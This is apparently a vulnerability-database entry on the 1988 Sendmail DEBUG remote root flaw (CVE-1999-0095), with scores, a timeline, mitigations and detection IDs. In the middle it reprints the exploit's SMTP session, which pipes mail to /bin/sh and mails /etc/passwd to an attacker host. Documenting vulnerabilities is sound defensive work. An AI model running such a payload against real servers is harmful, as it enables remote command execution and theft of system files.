Berkeley Sendmail up to 5.58 DEBUG privileges management

EntryeditHistoryDiffjsonxmlCTI
CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
9.4$0-$5k0.00

A vulnerability, which was classified as very critical, was found in Berkeley Sendmail up to 5.58 (Mail Server Software). This affects an unknown part of the component DEBUG Handler. The manipulation with an unknown input leads to a privilege escalation vulnerability. CWE is classifying the issue as CWE-269. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

the debug command in sendmail is enabled allowing attackers to execute commands as root.

The weakness was released 11/07/1988 as CA-1988-01 as confirmed advisory (CERT.org). It is possible to read the advisory at cert.org. This vulnerability is uniquely identified as CVE-1999-0095. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 05/07/2019). Due to its background and reception, this vulnerability has a historic impact.

A public exploit has been developed in SMTP and been published even before and not after the advisory. It is declared as highly functional. The exploit is shared for download at exploit-db.com. The vulnerability was handled as a non-public zero-day exploit for at least 61 days. During that time the estimated underground price was around $5k-$25k. The vulnerability scanner Nessus provides a plugin with the ID 10247 (Sendmail DEBUG/WIZ Remote Command Execution), which helps to determine the existence of the flaw in a target environment. It is assigned to the family SMTP problems and running in the context remote. The code used by the exploit is:

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

Upgrading to version 5.59 eliminates this vulnerability. It is possible to mitigate the problem by applying the configuration setting Disable Debug. The best possible mitigation is suggested to be upgrading to the latest version. Attack attempts may be identified with Snort ID 663.

The vulnerability is also documented in the databases at X-Force (125), Vulnerability Center (SBV-209), Tenable (10247) and Exploit-DB (19028). Entry connected to this vulnerability is available at 13666.

Productinfoedit

Type

Vendor

Name

CPE 2.3infoedit

CPE 2.2infoedit

CVSSv3infoedit

VulDB Meta Base Score: 9.8
VulDB Meta Temp Score: 9.4

VulDB Base Score: 9.8
VulDB Temp Score: 9.4
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2infoedit

AVACAuCIA
🔍🔍🔍🔍🔍🔍
🔍🔍🔍🔍🔍🔍
🔍🔍🔍🔍🔍🔍
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfoedit

Class: Privilege escalation
CWE: CWE-269
ATT&CK: Unknown

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Nessus ID: 10247
Nessus Name: Sendmail DEBUG/WIZ Remote Command Execution
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 10247
OpenVAS Name: Sendmail DEBUG
OpenVAS File: 🔍
OpenVAS Family: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfoedit

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfoedit

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍

Upgrade: Sendmail 5.59
Config: Disable Debug

Snort ID: 663
Snort Message: SERVER-MAIL Sendmail rcpt to command attempt
Snort Class: 🔍
SourceFire IPS: 🔍
ISS Proventia IPS: 🔍

Timelineinfoedit

08/01/1988 🔍
08/01/1988 +0 days 🔍
10/01/1988 +61 days 🔍
10/01/1988 +0 days 🔍
11/07/1988 +37 days 🔍
08/22/1999 +3940 days 🔍
09/12/2002 +1117 days 🔍
10/23/2002 +40 days 🔍
06/16/2014 +4254 days 🔍
05/07/2019 +1786 days 🔍

Sourcesinfoedit

Advisory: CA-1988-01
Status: Confirmed

CVE: CVE-1999-0095 (🔍)
X-Force: 125
Vulnerability Center: 209 - SendMail Debug Allows Command Execution, High
SecurityFocus: 1 - Berkeley Sendmail DEBUG Vulnerability
OSVDB: 195 - Sendmail debug Arbitrary Command Execution

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfoedit

Created: 06/16/2014 02:34 PM
Updated: 05/07/2019 10:51 AM
Changes: (9) vulnerability_cvss3_vuldb_av vulnerability_cvss3_vuldb_ac vulnerability_cvss3_vuldb_pr vulnerability_cvss3_vuldb_ui vulnerability_cvss3_vuldb_s vulnerability_cvss3_vuldb_c vulnerability_cvss3_vuldb_i vulnerability_cvss3_vuldb_a source_osvdb_create
Complete: 🔍

Comments

No comments yet. Languages: . Please log in to comment.

Interested in the pricing of exploits?

See the underground prices here!